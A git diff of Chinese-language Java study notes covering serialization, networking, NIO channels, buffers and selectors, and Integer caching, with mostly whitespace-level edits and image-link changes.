+    A a2 = (A) objectInputStream.readObject();
+    objectInputStream.close();
+    System.out.println(a2);
 }
 
-private static class A implements Serializable {
+private static class A implements Serializable {
 
-    private int x;
-    private String y;
+    private int x;
+    private String y;
 
-    A(int x, String y) {
-        this.x = x;
-        this.y = y;
-    }
+    A(int x, String y) {
+        this.x = x;
+        this.y = y;
+    }
 
-    @Override
-    public String toString() {
-        return "x = " + x + "  " + "y = " + y;
-    }
+    @Override
+    public String toString() {
+        return "x = " + x + "  " + "y = " + y;
+    }
 }
 ```
 
-## transient
+## transient
 
-transient 关键字可以使一些属性不会被序列化。
+transient 关键字可以使一些属性不会被序列化。
 
-ArrayList 中存储数据的数组 elementData 是用 transient 修饰的，因为这个数组是动态扩展的，并不是所有的空间都被使用，因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法，使得可以只序列化数组中有内容的那部分数据。
+ArrayList 中存储数据的数组 elementData 是用 transient 修饰的，因为这个数组是动态扩展的，并不是所有的空间都被使用，因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法，使得可以只序列化数组中有内容的那部分数据。
 
 ```java
-private transient Object[] elementData;
+private transient Object[] elementData;
 ```
 
-# 六、网络操作
+# 六、网络操作
 
-Java 中的网络支持：
+Java 中的网络支持：
 
-- InetAddress：用于表示网络上的硬件资源，即 IP 地址；
-- URL：统一资源定位符；
-- Sockets：使用 TCP 协议实现网络通信；
-- Datagram：使用 UDP 协议实现网络通信。
+- InetAddress：用于表示网络上的硬件资源，即 IP 地址；
+- URL：统一资源定位符；
+- Sockets：使用 TCP 协议实现网络通信；
+- Datagram：使用 UDP 协议实现网络通信。
 
-## InetAddress
+## InetAddress
 
 没有公有的构造函数，只能通过静态方法来创建实例。
 
 ```java
-InetAddress.getByName(String host);
-InetAddress.getByAddress(byte[] address);
+InetAddress.getByName(String host);
+InetAddress.getByAddress(byte[] address);
 ```
 
-## URL
+## URL
 
-可以直接从 URL 中读取字节流数据。
+可以直接从 URL 中读取字节流数据。
 
 ```java
-public static void main(String[] args) throws IOException {
+public static void main(String[] args) throws IOException {
 
-    URL url = new URL("http://www.baidu.com");
+    URL url = new URL("http://www.baidu.com");
 
-    /* 字节流 */
-    InputStream is = url.openStream();
+    /* 字节流 */
+    InputStream is = url.openStream();
 
-    /* 字符流 */
-    InputStreamReader isr = new InputStreamReader(is, "utf-8");
+    /* 字符流 */
+    InputStreamReader isr = new InputStreamReader(is, "utf-8");
 
-    /* 提供缓存功能 */
-    BufferedReader br = new BufferedReader(isr);
+    /* 提供缓存功能 */
+    BufferedReader br = new BufferedReader(isr);
 
-    String line;
-    while ((line = br.readLine()) != null) {
-        System.out.println(line);
-    }
+    String line;
+    while ((line = br.readLine()) != null) {
+        System.out.println(line);
+    }
 
-    br.close();
+    br.close();
 }
 ```
 
-## Sockets
+## Sockets
 
-- ServerSocket：服务器端类
-- Socket：客户端类
-- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
+- ServerSocket：服务器端类
+- Socket：客户端类
+- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
 
-<div align="center"> <img src="pics/ClienteServidorSockets1521731145260.jpg"/> </div><br>
+![](index_files/ClienteServidorSockets1521731145260.jpg)
 
-## Datagram
+## Datagram
 
-- DatagramSocket：通信类
-- DatagramPacket：数据包类
+- DatagramSocket：通信类
+- DatagramPacket：数据包类
 
-# 七、NIO
+# 七、NIO
 
-新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的，弥补了原来的 I/O 的不足，提供了高速的、面向块的 I/O。
+新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的，弥补了原来的 I/O 的不足，提供了高速的、面向块的 I/O。
 
-## 流与块
+## 流与块
 
-I/O 与 NIO 最重要的区别是数据打包和传输的方式，I/O 以流的方式处理数据，而 NIO 以块的方式处理数据。
+I/O 与 NIO 最重要的区别是数据打包和传输的方式，I/O 以流的方式处理数据，而 NIO 以块的方式处理数据。
 
-面向流的 I/O 一次处理一个字节数据：一个输入流产生一个字节数据，一个输出流消费一个字节数据。为流式数据创建过滤器非常容易，链接几个过滤器，以便每个过滤器只负责复杂处理机制的一部分。不利的一面是，面向流的 I/O 通常相当慢。
+面向流的 I/O 一次处理一个字节数据：一个输入流产生一个字节数据，一个输出流消费一个字节数据。为流式数据创建过滤器非常容易，链接几个过滤器，以便每个过滤器只负责复杂处理机制的一部分。不利的一面是，面向流的 I/O 通常相当慢。
 
-面向块的 I/O 一次处理一个数据块，按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
+面向块的 I/O 一次处理一个数据块，按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
 
-I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重新实现了，所以现在它可以利用 NIO 的一些特性。例如，java.io.\* 包中的一些类包含以块的形式读写数据的方法，这使得即使在面向流的系统中，处理速度也会更快。
+I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重新实现了，所以现在它可以利用 NIO 的一些特性。例如，java.io.\* 包中的一些类包含以块的形式读写数据的方法，这使得即使在面向流的系统中，处理速度也会更快。
 
-## 通道与缓冲区
+## 通道与缓冲区
 
-### 1. 通道
+### 1. 通道
 
-通道 Channel 是对原 I/O 包中的流的模拟，可以通过它读取和写入数据。
+通道 Channel 是对原 I/O 包中的流的模拟，可以通过它读取和写入数据。
 
-通道与流的不同之处在于，流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类)，而通道是双向的，可以用于读、写或者同时用于读写。
+通道与流的不同之处在于，流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类)，而通道是双向的，可以用于读、写或者同时用于读写。
 
 通道包括以下类型：
 
-- FileChannel：从文件中读写数据；
-- DatagramChannel：通过 UDP 读写网络中数据；
-- SocketChannel：通过 TCP 读写网络中数据；
-- ServerSocketChannel：可以监听新进来的 TCP 连接，对每一个新进来的连接都会创建一个 SocketChannel。
+- FileChannel：从文件中读写数据；
+- DatagramChannel：通过 UDP 读写网络中数据；
+- SocketChannel：通过 TCP 读写网络中数据；
+- ServerSocketChannel：可以监听新进来的 TCP 连接，对每一个新进来的连接都会创建一个 SocketChannel。
 
-### 2. 缓冲区
+### 2. 缓冲区
 
 发送给一个通道的所有数据都必须首先放到缓冲区中，同样地，从通道中读取的任何数据都要先读到缓冲区中。也就是说，不会直接对通道进行读写数据，而是要先经过缓冲区。
 
@@ -322,300 +288,308 @@ I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重
 
 缓冲区包括以下类型：
 
-- ByteBuffer
-- CharBuffer
-- ShortBuffer
-- IntBuffer
-- LongBuffer
-- FloatBuffer
-- DoubleBuffer
+- ByteBuffer
+- CharBuffer
+- ShortBuffer
+- IntBuffer
+- LongBuffer
+- FloatBuffer
+- DoubleBuffer
 
-## 缓冲区状态变量
+## 缓冲区状态变量
 
-- capacity：最大容量；
-- position：当前已经读写的字节数；
-- limit：还可以读写的字节数。
+- capacity：最大容量；
+- position：当前已经读写的字节数；
+- limit：还可以读写的字节数。
 
 状态变量的改变过程举例：
 
-① 新建一个大小为 8 个字节的缓冲区，此时 position 为 0，而 limit = capacity = 8。capacity 变量不会改变，下面的讨论会忽略它。
+① 新建一个大小为 8 个字节的缓冲区，此时 position 为 0，而 limit = capacity = 8。capacity 变量不会改变，下面的讨论会忽略它。
 
-<div align="center"> <img src="pics/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
+![](index_files/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png)
 
-② 从输入通道中读取 5 个字节数据写入缓冲区中，此时 position 为 5，limit 保持不变。
+② 从输入通道中读取 5 个字节数据写入缓冲区中，此时 position 为 5，limit 保持不变。
 
-<div align="center"> <img src="pics/80804f52-8815-4096-b506-48eef3eed5c6.png"/> </div><br>
+![](index_files/80804f52-8815-4096-b506-48eef3eed5c6.png)
 
-③ 在将缓冲区的数据写到输出通道之前，需要先调用 flip() 方法，这个方法将 limit 设置为当前 position，并将 position 设置为 0。
+③ 在将缓冲区的数据写到输出通道之前，需要先调用 flip() 方法，这个方法将 limit 设置为当前 position，并将 position 设置为 0。
 
-<div align="center"> <img src="pics/952e06bd-5a65-4cab-82e4-dd1536462f38.png"/> </div><br>
+![](index_files/952e06bd-5a65-4cab-82e4-dd1536462f38.png)
 
-④ 从缓冲区中取 4 个字节到输出缓冲中，此时 position 设为 4。
+④ 从缓冲区中取 4 个字节到输出缓冲中，此时 position 设为 4。
 
-<div align="center"> <img src="pics/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png"/> </div><br>
+![](index_files/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png)
 
-⑤ 最后需要调用 clear() 方法来清空缓冲区，此时 position 和 limit 都被设置为最初位置。
+⑤ 最后需要调用 clear() 方法来清空缓冲区，此时 position 和 limit 都被设置为最初位置。
 
-<div align="center"> <img src="pics/67bf5487-c45d-49b6-b9c0-a058d8c68902.png"/> </div><br>
+![](index_files/67bf5487-c45d-49b6-b9c0-a058d8c68902.png)
 
-## 文件 NIO 实例
+## 文件 NIO 实例
 
-以下展示了使用 NIO 快速复制文件的实例：
+以下展示了使用 NIO 快速复制文件的实例：
 
 ```java
-public static void fastCopy(String src, String dist) throws IOException {
+public static void fastCopy(String src, String dist) throws IOException {
 
-    /* 获得源文件的输入字节流 */
-    FileInputStream fin = new FileInputStream(src);
+    /* 获得源文件的输入字节流 */
+    FileInputStream fin = new FileInputStream(src);
 
-    /* 获取输入字节流的文件通道 */
-    FileChannel fcin = fin.getChannel();
+    /* 获取输入字节流的文件通道 */
+    FileChannel fcin = fin.getChannel();
 
-    /* 获取目标文件的输出字节流 */
-    FileOutputStream fout = new FileOutputStream(dist);
+    /* 获取目标文件的输出字节流 */
+    FileOutputStream fout = new FileOutputStream(dist);
 
-    /* 获取输出字节流的文件通道 */
-    FileChannel fcout = fout.getChannel();
+    /* 获取输出字节流的文件通道 */
+    FileChannel fcout = fout.getChannel();
 
-    /* 为缓冲区分配 1024 个字节 */
-    ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
+    /* 为缓冲区分配 1024 个字节 */
+    ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
 
-    while (true) {
+    while (true) {
 
-        /* 从输入通道中读取数据到缓冲区中 */
-        int r = fcin.read(buffer);
+        /* 从输入通道中读取数据到缓冲区中 */
+        int r = fcin.read(buffer);
 
-        /* read() 返回 -1 表示 EOF */
-        if (r == -1) {
-            break;
-        }
+        /* read() 返回 -1 表示 EOF */
+        if (r == -1) {
+            break;
+        }
 
-        /* 切换读写 */
-        buffer.flip();
+        /* 切换读写 */
+        buffer.flip();
 
-        /* 把缓冲区的内容写入输出文件中 */
-        fcout.write(buffer);
+        /* 把缓冲区的内容写入输出文件中 */
+        fcout.write(buffer);
 
-        /* 清空缓冲区 */
-        buffer.clear();
-    }
+        /* 清空缓冲区 */
+        buffer.clear();
+    }
 }
 ```
 
-## 选择器
+## 选择器
 
-NIO 常常被叫做非阻塞 IO，主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
+NIO 常常被叫做非阻塞 IO，主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
 
-NIO 实现了 IO 多路复用中的 Reactor 模型，一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件，从而让一个线程就可以处理多个事件。
+NIO 实现了 IO 多路复用中的 Reactor 模型，一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件，从而让一个线程就可以处理多个事件。
 
-通过配置监听的通道 Channel 为非阻塞，那么当 Channel 上的 IO 事件还未到达时，就不会进入阻塞状态一直等待，而是继续轮询其它 Channel，找到 IO 事件已经到达的 Channel 执行。
+通过配置监听的通道 Channel 为非阻塞，那么当 Channel 上的 IO 事件还未到达时，就不会进入阻塞状态一直等待，而是继续轮询其它 Channel，找到 IO 事件已经到达的 Channel 执行。
 
-因为创建和切换线程的开销很大，因此使用一个线程来处理多个事件而不是一个线程处理一个事件，对于 IO 密集型的应用具有很好地性能。
+因为创建和切换线程的开销很大，因此使用一个线程来处理多个事件而不是一个线程处理一个事件，对于 IO 密集型的应用具有很好地性能。
 
-应该注意的是，只有套接字 Channel 才能配置为非阻塞，而 FileChannel 不能，为 FileChannel 配置非阻塞也没有意义。
+应该注意的是，只有套接字 Channel 才能配置为非阻塞，而 FileChannel 不能，为 FileChannel 配置非阻塞也没有意义。
 
-<div align="center"> <img src="pics/4d930e22-f493-49ae-8dff-ea21cd6895dc.png"/> </div><br>
+![](index_files/4d930e22-f493-49ae-8dff-ea21cd6895dc.png)
 
-### 1. 创建选择器
+### 1. 创建选择器
 
 ```java
-Selector selector = Selector.open();
+Selector selector = Selector.open();
 ```
 
-### 2. 将通道注册到选择器上
+### 2. 将通道注册到选择器上
 
 ```java
-ServerSocketChannel ssChannel = ServerSocketChannel.open();
+ServerSocketChannel ssChannel = ServerSocketChannel.open();
 ssChannel.configureBlocking(false);
-ssChannel.register(selector, SelectionKey.OP_ACCEPT);
+ssChannel.register(selector, SelectionKey.OP_ACCEPT);
 ```
 
 通道必须配置为非阻塞模式，否则使用选择器就没有任何意义了，因为如果通道在某个事件上被阻塞，那么服务器就不能响应其它事件，必须等待这个事件处理完毕才能去处理其它事件，显然这和选择器的作用背道而驰。
 
 在将通道注册到选择器上时，还需要指定要注册的具体事件，主要有以下几类：
 
-- SelectionKey.OP_CONNECT
-- SelectionKey.OP_ACCEPT
-- SelectionKey.OP_READ
-- SelectionKey.OP_WRITE
+- SelectionKey.OP_CONNECT
+- SelectionKey.OP_ACCEPT
+- SelectionKey.OP_READ
+- SelectionKey.OP_WRITE
 
-它们在 SelectionKey 的定义如下：
+它们在 SelectionKey 的定义如下：
 
 ```java
-public static final int OP_READ = 1 << 0;
-public static final int OP_WRITE = 1 << 2;
-public static final int OP_CONNECT = 1 << 3;
-public static final int OP_ACCEPT = 1 << 4;
+public static final int OP_READ = 1 << 0;
+public static final int OP_WRITE = 1 << 2;
+public static final int OP_CONNECT = 1 << 3;
+public static final int OP_ACCEPT = 1 << 4;
 ```
 
 可以看出每个事件可以被当成一个位域，从而组成事件集整数。例如：
 
 ```java
-int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
+int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
 ```
 
-### 3. 监听事件
+### 3. 监听事件
 
 ```java
-int num = selector.select();
+int num = selector.select();
 ```
 
-使用 select() 来监听到达的事件，它会一直阻塞直到有至少一个事件到达。
+使用 select() 来监听到达的事件，它会一直阻塞直到有至少一个事件到达。
 
-### 4. 获取到达的事件
+### 4. 获取到达的事件
 
 ```java
-Set<SelectionKey> keys = selector.selectedKeys();
-Iterator<SelectionKey> keyIterator = keys.iterator();
-while (keyIterator.hasNext()) {
-    SelectionKey key = keyIterator.next();
-    if (key.isAcceptable()) {
-        // ...
-    } else if (key.isReadable()) {
-        // ...
-    }
-    keyIterator.remove();
+Set<SelectionKey> keys = selector.selectedKeys();
+Iterator<SelectionKey> keyIterator = keys.iterator();
+while (keyIterator.hasNext()) {
+    SelectionKey key = keyIterator.next();
+    if (key.isAcceptable()) {
+        // ...
+    } else if (key.isReadable()) {
+        // ...
+    }
+    keyIterator.remove();
 }
 ```
 
-### 5. 事件循环
+### 5. 事件循环
 
-因为一次 select() 调用不能处理完所有的事件，并且服务器端有可能需要一直监听事件，因此服务器端处理事件的代码一般会放在一个死循环内。
+因为一次 select() 调用不能处理完所有的事件，并且服务器端有可能需要一直监听事件，因此服务器端处理事件的代码一般会放在一个死循环内。
 
 ```java
-while (true) {
-    int num = selector.select();
-    Set<SelectionKey> keys = selector.selectedKeys();
-    Iterator<SelectionKey> keyIterator = keys.iterator();
-    while (keyIterator.hasNext()) {
-        SelectionKey key = keyIterator.next();
-        if (key.isAcceptable()) {
-            // ...
-        } else if (key.isReadable()) {
-            // ...
-        }
-        keyIterator.remove();
-    }
+while (true) {
+    int num = selector.select();
+    Set<SelectionKey> keys = selector.selectedKeys();
+    Iterator<SelectionKey> keyIterator = keys.iterator();
+    while (keyIterator.hasNext()) {
+        SelectionKey key = keyIterator.next();
+        if (key.isAcceptable()) {
+            // ...
+        } else if (key.isReadable()) {
+            // ...
+        }
+        keyIterator.remove();
+    }
 }
 ```
 
-## 套接字 NIO 实例
+## 套接字 NIO 实例
 
 ```java
-public class NIOServer {
+public class NIOServer {
 
-    public static void main(String[] args) throws IOException {
+    public static void main(String[] args) throws IOException {
 
-        Selector selector = Selector.open();
+        Selector selector = Selector.open();
 
-        ServerSocketChannel ssChannel = ServerSocketChannel.open();
-        ssChannel.configureBlocking(false);
-        ssChannel.register(selector, SelectionKey.OP_ACCEPT);
+        ServerSocketChannel ssChannel = ServerSocketChannel.open();
+        ssChannel.configureBlocking(false);
+        ssChannel.register(selector, SelectionKey.OP_ACCEPT);
 
-        ServerSocket serverSocket = ssChannel.socket();
-        InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
-        serverSocket.bind(address);
+        ServerSocket serverSocket = ssChannel.socket();
+        InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
+        serverSocket.bind(address);
 
-        while (true) {
+        while (true) {
 
-            selector.select();
-            Set<SelectionKey> keys = selector.selectedKeys();
-            Iterator<SelectionKey> keyIterator = keys.iterator();
+            selector.select();
+            Set<SelectionKey> keys = selector.selectedKeys();
+            Iterator<SelectionKey> keyIterator = keys.iterator();
 
-            while (keyIterator.hasNext()) {
+            while (keyIterator.hasNext()) {
 
-                SelectionKey key = keyIterator.next();
+                SelectionKey key = keyIterator.next();
 
-                if (key.isAcceptable()) {
+                if (key.isAcceptable()) {
 
-                    ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
+                    ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
 
-                    // 服务器会为每个新连接创建一个 SocketChannel
-                    SocketChannel sChannel = ssChannel1.accept();
-                    sChannel.configureBlocking(false);
+                    // 服务器会为每个新连接创建一个 SocketChannel
+                    SocketChannel sChannel = ssChannel1.accept();
+                    sChannel.configureBlocking(false);
 
-                    // 这个新连接主要用于从客户端读取数据
-                    sChannel.register(selector, SelectionKey.OP_READ);
+                    // 这个新连接主要用于从客户端读取数据
+                    sChannel.register(selector, SelectionKey.OP_READ);
 
-                } else if (key.isReadable()) {
+                } else if (key.isReadable()) {
 
-                    SocketChannel sChannel = (SocketChannel) key.channel();
-                    System.out.println(readDataFromSocketChannel(sChannel));
-                    sChannel.close();
-                }
+                    SocketChannel sChannel = (SocketChannel) key.channel();
+                    System.out.println(readDataFromSocketChannel(sChannel));
+                    sChannel.close();
+                }
 
-                keyIterator.remove();
-            }
-        }
-    }
+                keyIterator.remove();
+            }
+        }
+    }
 
-    private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
+    private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
 
-        ByteBuffer buffer = ByteBuffer.allocate(1024);
-        StringBuilder data = new StringBuilder();
+        ByteBuffer buffer = ByteBuffer.allocate(1024);
+        StringBuilder data = new StringBuilder();
 
-        while (true) {
+        while (true) {
 
-            buffer.clear();
-            int n = sChannel.read(buffer);
-            if (n == -1) {
-                break;
-            }
-            buffer.flip();
-            int limit = buffer.limit();
-            char[] dst = new char[limit];
-            for (int i = 0; i < limit; i++) {
-                dst[i] = (char) buffer.get(i);
-            }
-            data.append(dst);
-            buffer.clear();
-        }
-        return data.toString();
-    }
+            buffer.clear();
+            int n = sChannel.read(buffer);
+            if (n == -1) {
+                break;
+            }
+            buffer.flip();
+            int limit = buffer.limit();
+            char[] dst = new char[limit];
+            for (int i = 0; i < limit; i++) {
+                dst[i] = (char) buffer.get(i);
+            }
+            data.append(dst);
+            buffer.clear();
+        }
+        return data.toString();
+    }
 }
 ```
 
 ```java
-public class NIOClient {
+public class NIOClient {
 
-    public static void main(String[] args) throws IOException {
-        Socket socket = new Socket("127.0.0.1", 8888);
-        OutputStream out = socket.getOutputStream();
-        String s = "hello world";
-        out.write(s.getBytes());
-        out.close();
-    }
+    public static void main(String[] args) throws IOException {
+        Socket socket = new Socket("127.0.0.1", 8888);
+        OutputStream out = socket.getOutputStream();
+        String s = "hello world";
+        out.write(s.getBytes());
+        out.close();
+    }
 }
 ```
 
-## 内存映射文件
+## 内存映射文件
 
-内存映射文件 I/O 是一种读和写文件数据的方法，它可以比常规的基于流或者基于通道的 I/O 快得多。
+内存映射文件 I/O 是一种读和写文件数据的方法，它可以比常规的基于流或者基于通道的 I/O 快得多。
 
 向内存映射文件写入可能是危险的，只是改变数组的单个元素这样的简单操作，就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
 
-下面代码行将文件的前 1024 个字节映射到内存中，map() 方法返回一个 MappedByteBuffer，它是 ByteBuffer 的子类。因此，可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区，操作系统会在需要时负责执行映射。
+下面代码行将文件的前 1024 个字节映射到内存中，map() 方法返回一个 MappedByteBuffer，它是 ByteBuffer 的子类。因此，可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区，操作系统会在需要时负责执行映射。
 
 ```java
-MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
+MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
 ```
 
-## 对比
+## 对比
 
-NIO 与普通 I/O 的区别主要有以下两点：
+NIO 与普通 I/O 的区别主要有以下两点：
 
-- NIO 是非阻塞的；
-- NIO 面向块，I/O 面向流。
+- NIO 是非阻塞的；
+- NIO 面向块，I/O 面向流。
 
-# 八、参考资料
+# 八、参考资料
 
-- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
-- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
-- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
-- [Java NIO 浅析](https://tech.meituan.com/nio.html)
-- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
-- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.html)
-- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
-- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
-- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
-- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
+- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
+- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
+- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
+- [Java NIO 浅析](https://tech.meituan.com/nio.html)
+- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
+- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.html)
+- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
+- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
+- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
+- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
+---bottom---CyC---
+![](index_files/DP-Decorator-java.io.png)
+![](index_files/ClienteServidorSockets1521731145260.jpg)
+![](index_files/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png)
+![](index_files/4628274c-25b6-4053-97cf-d1239b44c43d.png)
+![](index_files/952e06bd-5a65-4cab-82e4-dd1536462f38.png)
+![](index_files/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png)
+![](index_files/67bf5487-c45d-49b6-b9c0-a058d8c68902.png)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index 22d59c03..e7052210 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,652 +1,610 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、数据类型](#一数据类型)
-    * [包装类型](#包装类型)
-    * [缓存池](#缓存池)
-* [二、String](#二string)
-    * [概览](#概览)
-    * [不可变的好处](#不可变的好处)
-    * [String, StringBuffer and StringBuilder](#string,-stringbuffer-and-stringbuilder)
-    * [String Pool](#string-pool)
-    * [new String("abc")](#new-string"abc")
-* [三、运算](#三运算)
-    * [参数传递](#参数传递)
-    * [float 与 double](#float-与-double)
-    * [隐式类型转换](#隐式类型转换)
-    * [switch](#switch)
-* [四、继承](#四继承)
-    * [访问权限](#访问权限)
-    * [抽象类与接口](#抽象类与接口)
-    * [super](#super)
-    * [重写与重载](#重写与重载)
-* [五、Object 通用方法](#五object-通用方法)
-    * [概览](#概览)
-    * [equals()](#equals)
-    * [hashCode()](#hashcode)
-    * [toString()](#tostring)
-    * [clone()](#clone)
-* [六、关键字](#六关键字)
-    * [final](#final)
-    * [static](#static)
-* [七、反射](#七反射)
-* [八、异常](#八异常)
-* [九、泛型](#九泛型)
-* [十、注解](#十注解)
-* [十一、特性](#十一特性)
-    * [Java 各版本的新特性](#java-各版本的新特性)
-    * [Java 与 C++ 的区别](#java-与-c-的区别)
-    * [JRE or JDK](#jre-or-jdk)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、数据类型
 
-
-# 一、数据类型
-
-## 包装类型
+## 包装类型
 
 八个基本类型：
 
-- boolean/1
-- byte/8
-- char/16
-- short/16
-- int/32
-- float/32
-- long/64
-- double/64
+- boolean/1
+- byte/8
+- char/16
+- short/16
+- int/32
+- float/32
+- long/64
+- double/64
 
 基本类型都有对应的包装类型，基本类型与其对应的包装类型之间的赋值使用自动装箱与拆箱完成。
 
 ```java
-Integer x = 2;     // 装箱
-int y = x;         // 拆箱
+Integer x = 2;     // 装箱
+int y = x;         // 拆箱
 ```
 
-## 缓存池
+## 缓存池
 
-new Integer(123) 与 Integer.valueOf(123) 的区别在于：
+new Integer(123) 与 Integer.valueOf(123) 的区别在于：
 
-- new Integer(123) 每次都会新建一个对象；
-- Integer.valueOf(123) 会使用缓存池中的对象，多次调用会取得同一个对象的引用。
+- new Integer(123) 每次都会新建一个对象；
+- Integer.valueOf(123) 会使用缓存池中的对象，多次调用会取得同一个对象的引用。
 
 ```java
-Integer x = new Integer(123);
-Integer y = new Integer(123);
-System.out.println(x == y);    // false
-Integer z = Integer.valueOf(123);
-Integer k = Integer.valueOf(123);
-System.out.println(z == k);   // true
+Integer x = new Integer(123);
+Integer y = new Integer(123);
+System.out.println(x == y);    // false
+Integer z = Integer.valueOf(123);
+Integer k = Integer.valueOf(123);
+System.out.println(z == k);   // true
 ```
 
-valueOf() 方法的实现比较简单，就是先判断值是否在缓存池中，如果在的话就直接返回缓存池的内容。
+valueOf() 方法的实现比较简单，就是先判断值是否在缓存池中，如果在的话就直接返回缓存池的内容。
 
 ```java
-public static Integer valueOf(int i) {
-    if (i >= IntegerCache.low && i <= IntegerCache.high)
-        return IntegerCache.cache[i + (-IntegerCache.low)];
-    return new Integer(i);
+public static Integer valueOf(int i) {
+    if (i >= IntegerCache.low && i <= IntegerCache.high)
+        return IntegerCache.cache[i + (-IntegerCache.low)];
+    return new Integer(i);
 }
 ```
 
-在 Java 8 中，Integer 缓存池的大小默认为 -128\~127。
+在 Java 8 中，Integer 缓存池的大小默认为 -128~127。
 
 ```java
-static final int low = -128;
-static final int high;
-static final Integer cache[];
+static final int low = -128;
+static final int high;
+static final Integer cache[];
 
-static {
-    // high value may be configured by property
-    int h = 127;
-    String integerCacheHighPropValue =
-        sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high");
-    if (integerCacheHighPropValue != null) {
-        try {
-            int i = parseInt(integerCacheHighPropValue);
-            i = Math.max(i, 127);
-            // Maximum array size is Integer.MAX_VALUE
-            h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
-        } catch( NumberFormatException nfe) {
-            // If the property cannot be parsed into an int, ignore it.
-        }
-    }
-    high = h;
+static {
+    // high value may be configured by property
+    int h = 127;
+    String integerCacheHighPropValue =
+        sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high");
+    if (integerCacheHighPropValue != null) {
+        try {
+            int i = parseInt(integerCacheHighPropValue);
+            i = Math.max(i, 127);
+            // Maximum array size is Integer.MAX_VALUE
+            h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
+        } catch( NumberFormatException nfe) {
+            // If the property cannot be parsed into an int, ignore it.
+        }
+    }
+    high = h;
 
-    cache = new Integer[(high - low) + 1];
-    int j = low;
-    for(int k = 0; k < cache.length; k++)
-        cache[k] = new Integer(j++);
+    cache = new Integer[(high - low) + 1];
+    int j = low;
+    for(int k = 0; k < cache.length; k++)
+        cache[k] = new Integer(j++);
 
-    // range [-128, 127] must be interned (JLS7 5.1.7)
-    assert IntegerCache.high >= 127;
+    // range [-128, 127] must be interned (JLS7 5.1.7)
+    assert IntegerCache.high >= 127;
 }
 ```
 
-编译器会在自动装箱过程调用 valueOf() 方法，因此多个 Integer 实例使用自动装箱来创建并且值相同，那么就会引用相同的对象。
+编译器会在自动装箱过程调用 valueOf() 方法，因此多个 Integer 实例使用自动装箱来创建并且值相同，那么就会引用相同的对象。
 
